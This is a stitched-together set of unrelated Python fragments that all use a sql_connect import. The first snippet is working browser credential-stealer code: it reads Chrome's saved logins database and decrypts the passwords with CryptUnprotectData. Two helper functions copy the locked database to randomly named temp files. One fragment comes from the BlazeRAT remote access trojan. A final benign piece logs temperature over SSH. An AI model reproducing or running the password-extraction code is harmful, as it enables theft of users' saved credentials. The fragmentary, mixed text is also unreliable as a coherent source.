def getPasswords( db, sql='SELECT action_url, username_value, password_value FROM logins' ): if path.exists(db): db_new = db + '_hackpy' global passwords global passwords_i try: copy2(db, db_new) conn = sql_connect(db_new) cursor = conn.cursor() cursor.execute(sql) except: pass else: try: for result in cursor.fetchall(): url = result[0] login = result[1] password = CryptUnprotectData(result[2])[1].decode() if password != '': passwords_i += 1 passwords[passwords_i] = { 'url': url, 'login': login, 'password': password } except: pass
def FetchDataBase(target_db, sql=''): if not os.path.exists(target_db): return [] tmpDB = os.getenv('TEMP') + 'info_' + ''.join(choice(ascii_lowercase) for i in range(randint(10, 20))) + '.db' shutil.copy2(target_db, tmpDB) conn = sql_connect(tmpDB) cursor = conn.cursor() cursor.execute(sql) data = cursor.fetchall() cursor.close() conn.close() try: os.remove(tmpDB) except: pass return data
def FetchDataBase(target_db, sql=''): # If db not exists if not os.path.exists(target_db): return [] # Making a temp copy since Login Data DB is locked while Chrome is running tmpDB = os.getenv("TEMP") + "info_" + ''.join(choice(ascii_lowercase) for i in range(randint(10, 20))) + ".db" copy2(target_db, tmpDB) # Get data from database conn = sql_connect(tmpDB) cursor = conn.cursor() cursor.execute(sql) data = cursor.fetchall() cursor.close() conn.close() # Remove try: os.remove(tmpDB) except Exception as e: print(e) return data
""" Author : LimerBoy github.com/LimerBoy/BlazeRAT Notes : The file is needed to authorize users and check access rights. """ # Check if database exists db_path = path.join(CURRENT_DIRECTORY, "users.db") assert path.exists(db_path), "Database 'users.db' not found" # Create connection and cursor lock = Lock() connection = sql_connect(db_path, check_same_thread=False) cursor = connection.cursor() """ Check if user is authorized """ def UserIsAuthorized(chatid: int) -> bool: lock.acquire(True) sql = "SELECT time, token FROM authorized WHERE chatid=?" cursor.execute(sql, (chatid, )) result = cursor.fetchone() lock.release() if result is not None: return time() - result[0] < auth_expire_time and result[1] else: return False
password = arg elif opt == "--probecronexpr": probeCronTabExpression = arg elif opt == "--plotcronexpr": plotCronTabExpression = arg elif opt in ("-r", "--remotepath"): remotepath = arg #elif opt in ("-n", "--systemssh"): # useSystemSsh = True elif opt in ("-t", "--tolerant"): tolerant = True elif opt in ("-u", "--username"): username = arg try: dbConnection = sql_connect(dbFilePath, check_same_thread=False) # Falls die benötigte Tabelle in der Datenbank noch nicht vorhanden ist → Anlegen with dbConnection: cur = dbConnection.cursor() cur.execute("create table if not exists Probes (Timestamp int, Temperature float, Humidity float, DewPoint float);") except OperationalError as e: exit("Schwerwiegender Datenbank-Fehler: %s", e.args[0]) # Einrichtung der SSH-Verbindung über paramiko nur, wenn nicht das systemeigene SSH verwendet wird if not useSystemSsh: ssh = SSHClient() ssh.load_system_host_keys() if tolerant: # Falls nicht tolerant, ist die Policy standardmäßig „RejectPolicy“ ssh.set_missing_host_key_policy(WarningPolicy)